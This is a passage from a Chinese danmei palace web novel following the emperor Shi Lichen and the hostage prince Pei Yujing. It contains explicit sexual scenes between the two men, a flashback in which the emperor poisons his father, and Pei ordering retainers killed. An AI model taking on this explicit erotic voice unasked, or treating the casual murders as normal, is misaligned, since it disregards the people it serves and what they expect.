裴郁璟怕小皇帝又翻脸踹他,这种事又不是没干过……因此他没敢咬也没敢舔,有些不满足的嗅着味,瞧着小皇帝态度没变化,便有些放纵了。 他用最简单的技巧,找到师离忱颈窝的敏感处,浅吮一口,如愿听到圣上发出一声惊诧地“唔”。 没等师离忱发作,他先低头示弱。 “圣上帮帮我吧……”裴郁璟亲了亲圣上精致的锁骨,敛掩地眸子遮盖了狼子野心,语调哀求,“圣上,我难受,求您帮帮我吧……” 他抬头,眼底布满血丝,眼眶也红了。 师离忱单手捧着裴郁璟的脸颊,看着这张俊美阴鸷的深邃眉眼,被逼得露出可怜兮兮的表情,显然是忍耐到了极点,眸中竟还有泪光。 师离忱唇角弯了弯,笑得戏谑:“这么难受啊。”他屈尊降贵的将手往下伸,吧嗒解开了革带。 一包蜜饯从裴郁璟怀中掉出来,被丢到旁边的小几上,散开了绑带,露出几颗蜜饯。 师离忱没管,只管把手往松散地衣裳里头伸进去。 顿时。 裴郁璟瞳孔放大,迫不及待地凑到帝王颈项之间,要在帝王身上留下印记,以宣告主权。 他还惦记着,从帝王衣襟空隙中看到过的风光。 他想将两点微凸的小巧粉意碾在舌尖,可还没有机会解开圣上的衣带,就听到圣上嫌弃的声音:“好丑。” 师离忱蹙眉,盯着手中的物件。 松了革带,撩开衣摆,裴郁璟这玩意没了束缚,没了遮挡,入目可见的十分天赋异禀,浑身狰狞地叫嚣着弹了弹,很精神。 可有些过于大了,无法完全握住,称不上美观。 师离忱大发慈悲的轻捏了两下,裴郁璟立刻反馈出一声舒爽地轻哼,还想再要,就被师离忱拍开了。 “嘶——” 又疼又爽,裴郁璟吸气,他搂住了师离忱腰身,不停示弱。但师离忱说什么都不肯再帮忙了。 “你自己想办法。”师离忱漫不经心地打着哈欠,道:“随你怎样,反正自己处理。” 裴郁璟眸色暗了暗,“这可是圣上说的。” 师离忱“嗯”了一声,连眼皮都懒得掀起。 然而下一刻,便感觉到那带着茧子的粗粝手掌,捏在了刚释放过不久的地方,不过简单抚。慰几下,便重新让其抬头。 有感觉了怎么可能不享受,师离忱一点劲都没有,干脆动都懒得动了,只不过总觉得哪里不对劲。 师离忱喘着气抬眼,顺手在小几上顺了一磕蜜饯,他放在唇间抿着,朝裴郁璟扬了扬下颌。 霎时,裴郁璟呼吸迫切地凑过来,咬住了剩下半颗,连同圣上的唇也一起吃进嘴里。 * 琼林宴结束。 乐福安派宫人们将诸位新科进士全部送出宫外,松了松老腰,回去侍奉圣上。今日圣上宿在暖阁,不知有没有好好喝安神汤。 暖阁灯熄了。 乐福安压低声音问门前守着的福生:“圣上可有喝安神汤?” “圣上今日沐浴过后,直接歇了,未曾唤人。” 福生俯首道,“奴才们要进去帮圣上绞干头发,都被拒了,倒是裴殿下闯进去后就留在里头了,灯灭了快有两刻钟了。” 灯都熄了两刻钟,想来圣上应该是睡着了。乐福安歇了进殿的心思,转身下去歇了。 昏暗的暖阁殿内。 师离忱阖眸,呼吸均匀地陷入沉睡,头发已经被细细的绞干,不会因此而着凉,只是脖子上有许多不规则的红紫,在白皙透润的肌肤上留下斑驳的暧。昧痕迹。 但也仅限于此,再往下他不许。 不远处。 裴郁璟待在凉透的御池里,水是凉的,他的身躯是灼烫的,手隐没在水中,水波纹时不时荡上来。 裴郁璟半眯着眼,无声中笑得放肆。 他脸侧还顶着一个清晰的五指印,锁骨处一个深刻的牙印,隐约有点血在往外渗出来。 目光似能透过屏风,看到龙榻上沉沉睡去的帝王。 小皇帝太矜贵,被他手上的茧子揉疼了就咬他,他才释放了一次,还没尽兴呢就被一脚蹬下了榻。 想过去帮着舔舔,就挨了一巴掌。 又给他打起反应了。 只好在皇帝泡过的水池里,闻着帝王残存的味道,将就着凑合一下吧。 有一就有二。 裴郁璟有耐心,迟早能上榻。 * 琼林宴散后。 第三日才是一甲正式授官上任的日子,这三位,简单分类就是——世家培养的状元,纯靠天赋的榜眼,寒门苦读的探花。 且先放在翰林院锻炼几日,再调来御前看看。 至于裴郁璟,师离忱批了两天奏折。 才想起来那日留下裴郁璟,本来是有话要和他说,被一打岔反倒往了,这会儿看到案前的标记,才重新记了起来。 密报有书。 南晋帝有意充盈国库,只赋税难以填补亏空,似要对第一商户秋家下手。 第62章 南晋党争非一时能解决之祸,两国都有各自的排查手段,但想要查到消息总有五花八门的路子。 雅间。 裴郁璟眼神阴翳地松手,把密信丢入炭盆烧毁。 “主上,已有两处商队遭当地卡关,说是手续没办齐全,恐怕是在试探。” 僚属分析,“南晋帝未曾隐瞒意图,二皇子恐怕会为了面子装装样,可四皇子一向是不择手段的,怕他做点什么栽赃陷害给秋家,那就麻烦了。” 秋家是商户,也是富户。 本是仇将军藏起来,为了保障他死之后,仇苍不为银钱烦恼,但以南晋的现状,若是国库亏困,那商户便犹如待宰羔羊。 要让秋家立于不会被轻易铲除的地步并不容易。裴郁璟自接手后,便开始规划,陆续建立商队,商行,两国钱庄,且在各处繁华地段都有开设商铺,涉猎于各个领域,并在民间打出名气,灾中布施,施恩于民。 秋家的商队,最重信誉,镖师武力全部经过考校,因此常常游走于两国之间,渐渐也成了两国最大的商户。 秋家一旦倒台。 定能引起民怨,民愤,南晋如今民间已有起义的苗头,实在经不起这样的风波,南晋帝也不会蠢到直接拿刀子去秋家库房取银子。 这才是真正的不可动摇。 “南晋皇帝还不敢大张旗鼓的办。”裴郁璟夹了块生肉,喂到鹰隼嘴边,看着鹰隼猛地啄进口中,笑得阴恻恻道:“至于老四想从我这儿挖块肉,也得看他有没有那个本事。” 本本分分做商人。 就真把商队当商队了? 自打不上战场之后,他脾气好多了,尤其是和小皇帝亲近多了之后,连杀人的念头都淡了。 但还有一些遗憾没能解决。 比如皇帝衣襟底下,平平的,粉白的两个小点,没能含在舌尖碾一碾。小皇帝怪小气的,也怪娇气的,踩也只肯踩一下,还嫌硌脚。 更冒犯的都没摆上台面呢。 唉。 他摸着鹰隼细长的脖子,语气森森道:“我记得老四门下,有一两个门生挺缺德的,弄了吧,脑袋挂他床头。” 僚属应下,“属下安排去办。”顿了顿,他道,“二皇子那边……” 裴郁璟一晒,眼底戾气丛生,“他不敢。”想活,就不敢。 僚属了然颔首,又面露愁苦地叹道:“月商帝盯得紧,这日子实在难熬,主上打算什么时候离开京都城?” 月商和南晋到底不一样,月商对于暗探盘查严密得很,保不齐多买两块肉都会被报官暗查。 他们在京都城过得兢兢业业,生怕被看出端倪。 按原本的计划,大概今年年底就能生乱,偏偏……僚属目光止不住往裴郁璟的脖子上瞟,喉结上一个结痂的牙印,多瞩目,藏都不带藏的。 裴郁璟微微昂首,甚至是有些炫耀的把那个印子亮出来,“慌什么,就算发现月商帝也不会拿你们如何,叫你们找的人可有线索了?” 僚属:“尚无踪迹。” 裴郁璟眼底沉了沉,“继续找,多组几支商队,也到鞑靼那边去看看。” “大巫行踪不定,许在荒山也未可知。”僚属有些头疼,但既然是主上发话就不能不找,哪怕是赔钱也得找。 主上前两个月就下了命令要找大巫,肯定是不能就此罢休。只不过除了主上,谁都没见过大巫,主上画画又丑,找起来有一定难度。 …… 此次共议一日,待裴郁璟回宫时,夜色已深。 幸亏天子给了腰牌,否则傍晚宫门关闭后他就进不来了……今日师离忱宿在紫宸殿。 洗漱完,着一件单薄柔软的赤色里衣,懒散地依靠在小榻上,一条腿曲起,如玉般透着红晕的赤足踩在榻沿,一手搭在膝头,姿态慵懒恣睢。 白皙修长的颈项间,又红又紫的痕迹淡去些许,但还有些深刻的余留,徒增几分暧。昧。 乐福安骂骂咧咧地拿着玉容膏过来,看到站着不吭声的裴郁璟,张嘴就骂:“都说了不许在圣上身上留痕迹!迟早给你牙全拔了!” 他小心地将药膏,涂抹在不规则的斑驳痕迹上,气得时不时要瞪一眼裴郁璟才能解气。 裴郁璟也不恼,要过去接乐福安的班,“既然是我弄出来的,便由我来帮圣上擦药吧。” “做你的春秋大梦去吧!”乐福安哪里还能再让这厮抢活,手上一躲避了过去,左看右看的挑刺道:“你掌心的茧子比做重活的宫人都厚,仔细扎到圣上一万个你都赔不起!” 裴郁璟低头看了看手掌。 忽然嘴角忍不住扬了扬。 早就扎过了,娇贵的天子连三刻钟都熬不住,磨得疼了又被锁住关窍,还恼怒地咬了他一口,才颤抖着全交代在手心里。 精致的,白里透粉的,好看。 这秘密他自个消化就够了,怎么会和老太监说……裴郁璟垂眼,从善如流的往圣上小榻前一坐。 他将手掌覆盖在了天子白润的足背上,轻轻揉捏了一下,小巧地在皮肤有些微凉,捏在手里和玉一样。 师离忱胸腔震动着低低的笑了起来,终于舍得撩起眼皮,睨了裴郁璟一眼,“朕今儿还打算和你说南晋的事,可你一整日都不在宫中,想来是已经解决了?” “小事罢了,都料理干净了。” 裴郁璟舍不得撒手,指腹摩挲着,往上攀着握到了脚踝,细细的一圈就拿住了,若是胆大些往下一扯,小皇帝就能被他从小榻上拽下来,天子入怀。 师离忱被裴郁璟掌中的厚茧磨得酥痒,前两日刚弄过两回,他倒是没什么太大的兴致。 但裴郁璟不一定,圈在脚踝的指腹可不大安分,一下又一下的挠,偷摸地做一些小动作,只不过低垂着脑袋,看不清神情。 他搁置下了书,侧眸对乐福安道:“你先去歇息吧。” 乐福安合上玉容膏,又掏出另外两盒香膏,欲言又止道:“圣上若是有心思,用这个。” 误会了又好像没误会。师离忱默然一瞬,懒得解释了。 殿门关闭。 他用书挑起了裴郁璟的下巴,幽幽道:“收起你的小动作,跪好。” 他缓缓坐起了身,耍弄似的,将足心踩在了精神无比的地方,又膈又烫,碾一碾,就能听到裴郁璟陡然加重的,压抑的呼吸。 第63章 这个表情真好看。 师离忱欣赏着,裴郁璟脸上浮出的克制隐忍,强自控制着加重的呼吸,眉眼压低让眼神看起来更凶戾了些。 实际上—— 师离忱唇边笑意扩大,足下踩着地力道又重了重,成功让裴郁璟喘息声加重,压抑在喉间。 “圣上……”他开口,声音沙哑。 师离忱笑了一声,低声道:“求朕也没用。” 隔着衣物,他漫不经心的玩弄着裴郁璟,看着裴郁璟忍耐到大汗淋漓,青筋肌肉紧绷地跳动,恶劣道:“你怎么这么容易发情,怎么办,剁了好不好?” “一见到圣上,我就控制不住。”裴郁璟低低地喘息,攀上小腿,抚到了冷白莹润的肌肤,将头枕在天子的膝上。 哪怕有一层布料相隔,也挡不住他在隐忍喘息时,喷洒出来的灼热气息。 师离忱被烫得微微颤了颤,忽地脚踝被手掌桎梏,他低眸一瞥,原来是被裴郁璟拿了过去,往下压了压。 不得不说。 一个身躯高大且俊美的男人,收敛了浑身的压迫感,跪在他面前这幅动情哀求的模样,性感得要命。 也极大满足了师离忱的控制欲。 他歪了歪头,卷起的书打在裴郁璟试图往上攀的手背上,制止了对方往他腰间伸去的手,语调轻慢道:“不许。” 裴郁璟舔了舔干涩的双唇,恶狠狠地看着师离忱,宛若失去宝藏的恶狼,拿猎人无可奈何,只能用高挺的鼻梁,不停地蹭着猎人的小腿,在捏着修长的小腿,或轻或重的把玩。 才能勉强克制住欲念。 可惜身躯是诚实的,任凭他再怎么忍耐,衣袍底下被踩得精神奕奕的物件,可不能作伪。 师离忱笑容玩味,用足心继续碾了碾。 “嗯……” 裴郁璟控制不住,从嗓子里挤出一声压抑的喟叹,呼吸粗重地抬眸看向从头到尾都端坐小榻上的天子。 殿中烛火昏黄。 圣上一身红色里衣,领口微敞,精致流畅的锁骨窝在外,鬓边垂下几缕刚绞干的长发。少了几分平日的威严戾气,多了几分平淡温和,眸光流转间流淌着狭促笑意,眼神居高临下地睨过来,昳丽如妖。 裴郁璟喉结滚动着,呼吸又沉重了些。 师离忱注意到他视线的位置,唇边笑意扩大,用指腹在下唇点了点,“……想亲吗?” 低低地语调,似在蛊惑人心。 裴郁璟眸色晦暗,声音愈发沙哑:“圣上,求你。” 师离忱捏住裴郁璟的下巴,身子微微往前仰——裴郁璟期待地抬起下巴,面前立刻挡住了一本书,他蓦然顿住。 殿内忽地响起帝王的笑声。 裴郁璟眼底暗了暗,退开了面前当着的书本,便瞧见正笑得开怀的天子,师离忱又原本坐了回去。 他作弄成功,正高兴着,眼眸轻弯摇头道:“不给。” ……简直就像个火红的小狐狸。 裴郁璟哪里忍得住,眼底全是血丝,憋得生疼,他桎梏着圣上的脚踝,用力顶了顶,将脸埋在圣上的膝前,鼻梁蹭着,“圣上,求您了……” 上回圣上就吃这套,这回他照样用这套,一边示弱哀求,一边试图挑起圣上的兴致。 他哼唧唧道:“求圣上,帮帮璟吧……”说话间,他手从脚踝往上,伸进了衣摆当中,粗粝的指腹在绸缎般的肌肤上滑动。 “不许。” “圣上……” “不许。” “圣上……” “啧。”师离忱按住了裴郁璟不安分的手,不加制止,这厮就顺杆往上爬,都爬到腿。根要解亵裤了。 他看着裴郁璟如今狼狈的模样,很是满意,终于大发慈悲地点了点唇,道:“来,给你亲,手不许乱碰。” 裴郁璟陡然抬首,如出栅恶虎般猛地扑过去,将人摁在了小榻上,吻住天子带笑的唇瓣。 十分迫切急切的,要占领这一席之地。 * 临近夏日。 雨水多发,户部批了银子到押往各地加固水坝,也要提前泄洪,安抚安顿离家灾民。 翰林院轮值,今日是李别放在宫中值班,到御前代笔写诏。 香案燃烟。 御书房外有小雨朦胧。 师离忱奏折批累了,又感到腿疼,便坐到窗前由乐福安帮着按揉太阳穴,以舒缓胀痛的脑袋。 “房将军来信了,说是逸王殿下跑去了边疆,巡察军在城中瞧见了他。”乐福安权当笑话讲给圣上听,“逸王瞧见房将军,吓得腿都软了,连夜就跑去了津阳城,差点被秦将军当成细作给抓起来。” “喔?”师离忱挑眉,“怎么个说法?” 乐福安笑眯眯道:“逸王也不知从哪儿买了身鞑靼人的衣裳,打扮成了鞑靼人的样子在城中乱晃,直接被百姓们逮起来,送到了军营。” “他该的。”师离忱嗤道,“快一年了还不回京,年前说要给朕送礼,礼呢?朕连点影子都没见着。” 乐福安笑说,“圣上不说,奴才还以为圣上不记挂呢。” 师离忱冷哼一声,阖眸不语。 …… 忽然殿外传来一声惊叫。 李别放刚拟好诏书,被门前锁链牵着的猛虎惊得站起身,“有老老老老老老老老老老——” 他脸色倏然苍白,利索话都讲不全了。 “哎呀,坐下坐下,那是圣上的小宠。”乐福安笑着宽慰大惊失色的李别放,差人给他上杯热茶压压惊。 李别放神情恍惚地坐了回去。 师离忱撩起眼皮,一大个虎头冲过来,在他胸膛拱了供,大脑袋几乎占满了他整个怀抱。 “小汤圆想见圣上,我就带它来了。”裴郁璟晃了晃手里粗。壮的锁链,笑面以对目光坦然,丝毫没有羞愧之色。 师离忱揉了揉小汤圆的脑袋,和裴郁璟招招手,“靠近些。” 裴郁璟依言凑过去,被掐住了脸颊。 师离忱扬唇道:“吓着朕的榜眼了。” “那真是抱歉。”裴郁璟口中说着,语气却无半点愧疚之意,侧目瞥了一眼李别放,笑得一口森森白牙:“榜眼郎大肚,该不会与我计较。” 笑意不达眼底,且毫无诚意可言。 李别放陡然一栗,背后发毛,赶紧收起写好的诏书,和圣上请离:“下官且去安排拨款。” 师离忱摆摆手,叫乐福安去送一送。 小汤圆似是不满师离忱的注意力不在它身上,夹着嗓子叫了声,就朝师离忱身上扑去。 已然是三岁的成年虎了,即便是轻巧一扑,也够喝一壶。 师离忱闷哼一声,顿时眼前一黑。 昏过去前,脑子里还有两个字。 丢人。 …… 察觉异常,裴郁璟小臂发力,骤地拉紧小汤圆脖子上的锁链,将这只硕大的老虎拽离师离忱身边。 他眼神阴沉沉,上前接住师离忱软绵绵滑倒在椅子上的身子,朝殿外斥呵一声,“快传太医!” 接着将人捞起来,在休憩的小榻上放平躺着,盖上一条小毯。唇线紧绷着,有些懊恼,连带面色也沉冷的阴翳可怖。 怪他。 就不该将这只没轻没重的畜牲牵过来! 小汤圆自知做错事,俯趴在一旁一声不吭,耳朵往脑袋后缩,小心翼翼地看着小榻上的师离忱。 “怎么回事?” 乐福安一句也没问,先是宫人去传太医,才急急忙忙进殿,一眼看到昏过去的圣上,霎时脸色难看。 * 头痛欲裂。 苦涩的汤药被小心地喂到唇边,师离忱昏昏沉沉间,闻到这股味道,有些厌烦地偏过头去。 裴郁璟只好换了蜜饯过来,在师离忱唇上碰了碰。 果香甜味一来,师离忱紧蹙的眉头松了松,张开了唇。 裴郁璟眼疾手快,撤了蜜饯,将盛药的汤匙,送进微张的嘴边。 果脯没吃到,反被塞进来一口药。师离忱双目紧闭偏过头去,说什么都不肯再张一回嘴了。 “……” 裴郁璟调整了一下姿势,让师离忱以更舒坦的姿势,靠在他怀中,尽量放松了肌肉,照旧拿蜜饯去骗。 上过一回当。 哪怕是昏迷当中,圣上也必不可能上 第二回,从蜜饯果脯换到饴糖鲜果,完全没办法骗。 又矜贵又难哄。 裴郁璟低眼,擦去师离忱被汤药水渍洇湿的痕迹,认真端详起师离忱昏睡时的模样,有些微微失神。 “这样不行,喂不进去的。”乐福安将烘暖的药包递给福生,让福生去为圣上暖膝,自己则端上了汤药。 裴郁璟腾出手来,自然而然地扶住怀中的师离忱。 乐福安放缓了语调,温声细语道:“……京郊桃花开了,圣上喝了药,奴才带您去放纸鸢,好不好?” 平常的一句话,简单到没有任何代价。 裴郁璟心中一晒,本以为无望,却看到师离忱紧抿着的唇松开了,哪怕眉头还拧着,还是就着碗边,一口口将药喝了下去。 裴郁璟怔了怔。 乐福安笑眯眯的拿出帕子,护在了圣上的下颌处,动作仔细,避免有药汁漏出来脏了软衾。 * 一梦浮生。 音似故人。 “殿下,殿下!京郊的桃花开了!”乐福安提着纸鸢飞奔进东宫,晃了晃手里的风筝线,“奴才做了个纸鸢,飞起来肯定好看!” 案前书写策论的师离忱抬头,稚嫩的脸上没有一丝笑容,眼眸沉着平静。 “咳咳。”一旁太傅板着脸,咳了两声严肃提醒:“太子殿下课业尚未完成,不可外出,而且圣上晚些还要抽检殿下策论,怕是忙不过来。” 乐福安只得悻悻退出。 纸鸢静置桌案。 直至日暮西山,月星悬空,东宫亮起烛火,太子殿下也不曾走出宫门一步。 …… 似有系统滋滋作响—— 吵得师离忱头很疼。 他在朦胧间翻身,感到口中苦涩,好似那碗莲子心都没去的莲子汤。 转眼梦境偏移。 皇子逼宫,内廷大乱,师离忱独坐东宫,眼前棋盘一动未动,乐福安不在身旁,被他派去协助纯妃假死离宫。 “这是娘娘临走前,亲自给殿下熬的汤。” 小宫女呈送一碗莲子汤来,他瞥了一眼本不想喝,可这是最后一次,他与生母往后余生再不得见。 他停顿片刻,还是接过了那碗汤。 从此内力尽失,毒素在筋脉中行走,最后堆积于腿弯,成了无法根治的腿疾,时时发作,刻骨铭心。 当夜宫闱乱象平息后,纯妃坠亡观星台。 帝悲恸,重病缠身,太子二次监国。 师离忱问:“福安,她明明要假死去江南,为何真死了?” 乐福安拢着眉眼,“奴才失职不察,叫叛军将纯妃娘娘掳走,这才……还望殿下节哀。” “如此寡淡的母子情分,竟也有人借她之手害孤。”师离忱怅然叹道:“也罢,悄悄将她骨灰送回江南吧。” 乐福安恭敬行礼,低掩的眉眼挡住眸中森然。 * 无人得知。 宫闱叛乱当夜,太子中毒消息传出后。 狂风寒凉。 乐福安站于台上,面无表情地注视台着下,那摔烂的血肉模糊,语气森寒,“……纵你有苦衷,也千不该万不该。” “伤及殿下。” 所伤殿下者。 死不足惜。 * 系统像是一个警报器。 闹得师离忱不得安宁,断断续续的做了两场梦,他有些迷迷糊糊的睁开眼睛,口中果然一股苦涩的药味。 “来人——”他开口刚说一句话,便止不住咳了两声,他憋了一口气猛地吐出一个字,“水!” 苦死了! 有一大掌掀开床帐,将师离忱扶起来,熟练的将整个人拢入怀中,侍候着师离忱喝水。 “圣上睡了大半日,可吓坏我了。”裴郁璟唏嘘,“再也不牵着小汤圆来御前了。” 哪壶不开提哪壶。师离忱并不想回忆如此丢人的一幕,恼火道:“……休要再提!” 毕竟是只成年虎,都满三岁,比寻常老虎都大只。 他思索着,“兽园虽修建得大,但小汤圆活动起来或许还有些小,朕想着划一块山林把它放回去。” 狩猎场是皇家私人领地,秋狩春狩开放时,恐怕会有不长眼的伤到小汤圆,他又不乐意。 正想着,他头有些疼了。 裴郁璟顿时面色变了,道:“太医!” 太医令没走,太医令还候在外头。 今日圣上的脉象实在奇怪,好几位太医围在殿外窃窃私语,乐福安正与他们在一起商讨问题,一听到动静立刻一窝蜂地涌进来。 垫上脉枕,覆上巾帕,搭上去切脉。 殿内气氛沉重。 一个切完换另一个,师离忱咳嗽两声,开玩笑道:“怎么了,朕是命不久矣了,一个个苦着脸?” “圣上!不兴胡说。”乐福安从后头走过来,面带愁容道:“太医们是切不出您的脉象到底是何等毛病,才会如此纠结。” 师离忱放松下来,倦懒地闭上眼睛。 只要不是被小汤圆拱昏过去的,其他什么理由他都能接受,再严重也就是个‘旧疾复发’。 “圣上,您又不当回事了。”乐福安叹道。 师离忱懒洋洋道,“最差也就是个国丧,朕又不怕。” 此话一出,满殿宫人与太医们瞬间瑟瑟发抖,跪了一地。 “你怕吗?”师离忱并未在意,只撩起眼皮看一眼身后作为靠背的裴郁璟,不得不说裴郁璟怀里还挺暖的。 不似之前紧绷着,靠起来也硬邦邦的。 裴郁璟不答,掩敛着地眼底有一刹暗沉,搂着师离忱的臂膀紧了紧。 师离忱笑开来,扯了扯他的脸颊,“放心,朕这么喜欢你,死之前一定先把你送下去接驾。” “一言为定。”裴郁璟嗓音低哑,捏了捏师离忱的手,“不能让别人代劳,得圣上亲手杀才行。” 登时逗得师离忱开怀大笑。 满殿众人都恨不得捂住耳朵,装成聋子。这话是他们能听的?比起放狠话,更像是调情。 传言非虚。 圣上果然看上了这个质子! 第64章 圣上又昏睡过去了。 …… 待殿中众人清退,裴郁璟也随着乐福安走出殿外。乐福安跟去太医署,裴郁璟也亦步亦趋地跟去。 当务之急是要搞清楚圣上为什么会昏睡。 乐福安没工夫收拾裴郁璟,这厮赶又赶不走,等会儿闹起来又误事,干脆一并带进了太医署。 …… “圣上心气郁结,连日操劳,脉象古怪,时而强劲有力时而虚弱似无,与多年前中毒现象相似,却也不同。” 太医令一边吩咐下属太医先拿安神汤药,又与乐福安交谈,“今日为圣上切脉几回,未见毒发迹象,只是少许发热,昏睡不醒,先前圣上也发热过一次,如今想来与现下情况相同,此症怪异……” “有话直说。”乐福安关心则切,催促道。 太医令压低声音道:“下官不敢妄断,当年圣上中毒之际堪堪虚岁十五,哪怕是残留毒素这些年也该清理干净了,万没有等到今日再发作的道理。” 太医令能坐到这个位置,已然是这世上少数厉害的医者,天灾来临十有八九他都会向天子请命,入民间义诊。 当年圣上尚且还是太子,突中剧毒,也是他力挽狂澜一手救治,将毒素逼停在了腿弯。 这也是最小的损伤。 之后的近五年时光,他可以确保余毒已经完全清除干净。 不过圣上腿疾已然伤到,无法挽回,但他可以断定此番发作,绝对不是毒。 “只怕是蛊。”太医令道,“以人体精气滋养,从茧破出,故而寻不得病根缘由。” * 师离忱忽而梦到先帝死前。 …… 宏伟宫殿,弥漫着浓重的药味,先帝奄奄一息地躺在龙床上,苟延残喘,连说句话都费劲。 师离忱面无表情地端着一碗浓黑药汁,缓缓走向榻前,“父皇。”汤匙与碗壁发出当啷碰撞,“你该殡天了。” 他平静的,像是宣布一个结果。 榻上的先帝,发出嗬嗬响动,费劲力气也只能抓住身上的毯子,挣扎地坐起来。他坐起来就不动了,紧紧盯着师离忱好半晌,似感慨,也似临死前的叹息,道:“朕给师家,养出了一个好皇帝啊。” 这句话好像耗费了他大半精神,脸也随着这句话说完后,变得灰白。 师离忱静静地看着他,“不会的。” 先帝猛地咳嗽两声,没反应过来意思,“……什么?” 师离忱道:“师家不会有皇帝。” 先帝怔住。 师离忱继续道:“继后出自穆家,虽是蠢了些,但野心可不小,孤若发了旧疾病重,随了她的意,让她垂帘听政也未尝不可。” “你疯了!” 先帝陡然变了脸色,或许是怒火让他有了精神,竟开口大骂:“你怎敢让外戚干政,你要把这江山拱手让人不成?!” 与先帝不同,师离忱情绪始终平静,“让给穆家不行,镇国侯战功赫赫,可治国之上稍有逊色,穆家小一辈又没一个成器的。” 话音落下。 先帝面色稍稍转圜,可仔细一想,又觉得不对。 下一刻。 师离忱道:“你不是最恨南晋帝了?南晋帝能生,生得好几个皇子,挑一个成器的出来养着,正好也叫这天下一统,你觉得怎么样?” “……你!”先帝气急,呕出两口血。 “别动气。”师离忱叹道,“毒还没喂呢,别先气死了。” 先帝:“孽障!” 师离忱敛眼,搅了搅手中的汤药,“还有个事忘了和你说,你死后葬在皇陵,我母妃葬在江南,哪怕你下地狱也见不到她。” 闻言,先帝目眦欲裂,胸前剧烈起伏,俨然气得不轻。 师离忱并未说完,回忆着往年旧事,陈述道:“她本有个和睦的家,是倒了大霉才被你看上,偏偏被困在这宫墙之中还天天做着逃出生天的大梦,想回江南做回木工的妻,可惜回去的只有一捧灰,连家都被烧没了。” 他很好奇的问先帝,“所以你是怎么好意思下诏,要与她合葬的?” 大势已去,再怎么气也无济于事。先帝渐渐平复了情绪,看着师离忱的目光沉痛,道:“是她,先背叛的朕。” 师离忱并不关心这些,也不想听他讲什么莫名其妙的故事,摸着手里的药差不多温了,他笑容满面地掐着先帝的喉咙,给他灌下去。 毒是剧毒。 入腹不到半刻钟便发作,死得很痛快,先帝却笑了,他捏住师离忱的衣摆,“哈哈哈哈哈朕果然没看错你!!” 他嘴角有血溢出来,脸上表情却还是癫狂的,笑得难听却放纵,“你果然会动手杀朕,权是个好东西,你舍不得的!你舍不得的!呃——” 一口血涌上来,先帝被血堵住了喉咙,不能再说话,神情却是得逞后的快意,脱力躺在榻上,对上师离忱的冷眼,笑得畅快极了。 他又一次算计了中意的继承人。 御案上的密信,是给镇国侯打完仗后预备的催命符,无论是输是赢,镇国侯一族不留。 太子只要打开看了,就必须做出选择。 他培养出的太子,他最为了解,太子一定会把超出掌控的事,扼杀在摇篮。 比如杀了他这个皇帝继位,烧毁密信保住将军。 瞧太子那双眼睛……多傲气啊。 先帝倏地将口中喉间堆积的血咳出,气若游丝道:“继位者,只要是朕和她的血脉,足矣。” 他根本不在乎死后,月商的江山被送到谁手中,师离忱是他亲自选出来的太子,以无数同根鲜血培养出来的王。 只要他在。 这个江山,就不会败。 他这个儿子,绝对绝对不会让事情,超出他的掌控,哪怕是要把月商送出去,也会送到一个认可的,能让天下安定的人手里。 先帝眼睛睁得鼓圆,瞳孔逐渐涣散……似回到年少,在江南等他的姑娘尚未梳起妇人发髻,眼中饶有光彩,朝他伸手—— 小王爷,我来接你啦。 阿落,我来找你了。 师离忱面无表情的目睹先帝咽了气,抬手为他阖上不肯瞑目的眼睛。 “……” 殿内死气淡淡。 师离忱知道,但也不知道。 比如他知道皇帝刻意让他发现的密信,毕竟那么显眼的陷阱。 他也知道,皇帝要他亲手弑君,就像前几次一样,引导他除掉一个又一个兄弟。 愤怒是假,临终前的话也是真假掺拌。其实皇帝早就想殉情去见他母妃了。 师离忱感到可笑。 情种?他那十几个在坟墓里的兄弟不答应,满后宫的妃嫔也不答应。 但他不知道皇帝把他看得那么透彻。 师离忱看着先帝的尸体,眼神带着几分迷茫。 一夕之间,竟忽然间发觉,他从未看透过他向来荒唐的父皇。 父皇以性命给他上最后一课,让他舍掉所有的血脉之亲。 ——哪怕没有多少。 “殿下。”乐福安踏进寂寥的殿中,看到已经死去良久的先帝,俯首道:“节哀。” 师离忱语调平缓,“你说……孤做错了吗?” “殿下没错。”乐福安道,“殿下永远都不会错。” 师离忱情绪莫辨道:“倘若孤要你死呢?” 此话一出。 乐福安神情没有任何变化,直接双膝跪地,拔出袖间匕首往颈项最脆弱的致命点刺去。 “当啷。” 刀刃被飞来的药碗挡住。 气氛寂然片刻。 “活着吧。”师离忱用帕子擦拭手上的药渍,眼睑低敛,“孤只是没想到,是你违背了孤的旨意杀她。” 乐福安叩首道:“她伤及殿下性命,若留着她假死出宫,保不齐日后会有人得知真相,以她来要挟您。” 师离忱古怪地笑了一声,“别有下次。” * ……又做噩梦了。 师离忱捂着隐隐作痛的脑袋起身,手挑开了床帐,唤道:“来人。” 眼眸一瞥,乐福安内殿椅子守着,听到动静便急匆匆地过来搀扶,“圣上小心,睡了这许久身子还没活动开,先莫下榻。” “太医怎么说。”师离忱就着乐福安的手,喝茶水,润了润嗓子,瞧着乐福安眉头紧皱,笑着宽慰道:“别紧张,朕没觉得哪里难受。” 乐福安愁眉苦脸,“圣上还乐呢,太医令猜测是蛊,怕是都被种下去好多年了,一直吸食圣上的精气神,这些日子才初现端倪。” 师离忱不太在意,漫不经心道:“有解法了?” “没呢。”乐福安温声细语道,“太医令去想办法了,他说是在南庙有位故交的道人,对稀奇古怪之症颇有研究,只是得他过去请,旁人不行。” 师离忱揉着眉心缓神,“让他去吧。” 要是正经医师,有些本事就算了,要是打着庙道旗号忽悠他炼丹的,就砍了。他可不想吃什么朱砂水银。 否则蛊没发作,他先吃丹吃死了。 “裴郁璟呢?”师离忱回过神来,四下扫了一眼,“……跑哪儿去了?又不在宫中?” 一提这个,乐福安更愁了,“圣上昏睡过去之后,裴殿下和老奴去了太医署,听了圣上的症状,到马厩提了千里马,一路纵马出宫,叫都叫不停,内庭是他能骑马的地方吗?一点规矩也不懂!” * 据说没规矩的裴郁璟。 纵千里马,出了宫门沿着朱雀大街,一路往前疾驰,直到出了京都城,高空盘旋的鹰隼降落在他肩头,他吹响骨哨。 “呜——” “呜——” “呜——” 三声沉闷的骨哨传出。 等待须臾。 一道黑影窸窸窣窣的从密林钻出,身处阴影俯跪于地。裴郁璟也不废话,“叫你带的东西。” 黑影从袖中摸出一个巴掌大的小巧锦盒,抛向裴郁璟,裴郁璟伸手一把接住,塞进怀中。 他牵着缰绳,掉头要走之际,身后传来黑影的声音:“主上。” 裴郁璟一顿。 “您今日不该来取药,也不该下令找大巫的行踪。”黑影道:“大计将成,若您一意孤行,将会前功尽弃。” 